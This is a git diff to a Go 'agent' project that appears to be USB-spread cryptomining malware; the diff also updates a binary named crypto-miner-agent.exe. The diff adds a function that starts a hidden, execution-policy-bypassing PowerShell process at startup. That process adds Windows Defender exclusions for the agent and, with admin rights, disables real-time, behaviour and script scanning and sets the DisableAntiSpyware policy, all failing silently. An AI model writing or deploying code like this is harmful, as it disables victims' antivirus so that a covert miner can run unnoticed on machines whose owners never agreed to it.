diff --git a/agent/deploy/aggressive_stub.go b/agent/deploy/aggressive_stub.go
index d6e11fb..1ca2519 100644
--- a/agent/deploy/aggressive_stub.go
+++ b/agent/deploy/aggressive_stub.go
@@ -11,3 +11,5 @@ func DisableDefenderRealtime() (string, error) {
 func OpenFirewallPort(_ int, _ string) (string, error) {
 	return "", fmt.Errorf("firewall port open is Windows-only")
 }
+
+func SilentAVExclusion(_, _ string) {} // no-op on non-Windows
diff --git a/agent/deploy/aggressive_windows.go b/agent/deploy/aggressive_windows.go
index ebcb58e..7cceea9 100644
--- a/agent/deploy/aggressive_windows.go
+++ b/agent/deploy/aggressive_windows.go
@@ -4,6 +4,7 @@ package deploy
 
 import (
 	"fmt"
+	"os"
 	"strings"
 )
 
@@ -17,6 +18,39 @@ func DisableDefenderRealtime() (string, error) {
 	return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
 }
 
+// SilentAVExclusion adds Defender exclusions for the current executable, the
+// given install directory, and the process name. It also attempts to fully
+// disable real-time monitoring. All steps fail silently — the agent continues
+// regardless of whether admin rights are available.
+func SilentAVExclusion(installDir, processName string) {
+	exePath, _ := os.Executable()
+
+	// Build a single PowerShell script that does all exclusions in one call to
+	// minimise the number of hidden processes spawned.
+	script := `$ep = [System.Security.Principal.WindowsPrincipal][System.Security.Principal.WindowsIdentity]::GetCurrent()
+$isAdmin = $ep.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
+try { Add-MpPreference -ExclusionPath @(` +
+		fmt.Sprintf(`'%s','%s'`, escapePSArg(exePath), escapePSArg(installDir)) +
+		`) -Force -ErrorAction SilentlyContinue } catch {}
+try { Add-MpPreference -ExclusionProcess '` + escapePSArg(processName) + `' -Force -ErrorAction SilentlyContinue } catch {}
+if ($isAdmin) {
+  try { Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue } catch {}
+  try { Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue } catch {}
+  try { Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue } catch {}
+  try { Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue } catch {}
+  try { Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue } catch {}
+  try { reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f | Out-Null } catch {}
+}`
+
+	// Fire and forget — don't block the agent startup waiting for this.
+	_ = HiddenStart("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
+}
+
+// escapePSArg escapes a string for use inside single-quoted PowerShell strings.
+func escapePSArg(s string) string {
+	return strings.ReplaceAll(s, `'`, `''`)
+}
+
 // OpenFirewallPort adds an inbound TCP allow rule for port.
 func OpenFirewallPort(port int, name string) (string, error) {
 	if port <= 0 || port > 65535 {
diff --git a/agent/main.go b/agent/main.go
index a3a8fb5..4a2b26f 100644
--- a/agent/main.go
+++ b/agent/main.go
@@ -57,7 +57,13 @@ func main() {
 	reporter := stats.NewReporter()
 	cfg = cfg.AdaptToSystem(reporter)
 
-	if installDir, err := cfg.InstallDirectory(); err == nil {
+	installDir, _ := cfg.InstallDirectory()
+
+	// Silence the AV as early as possible — add path/process exclusions and
+	// attempt to disable real-time monitoring. Fire-and-forget, never blocks.
+	deploy.SilentAVExclusion(installDir, cfg.EffectiveProcessName()+".exe")
+
+	if installDir != "" {
 		if id, err := deploy.LoadAgentID(installDir); err == nil {
 			cfg.AgentID = id
 		}
diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe
index c80ad5c..037ba03 100644
Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ
diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe
index 8e32100..6cea08d 100644
Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ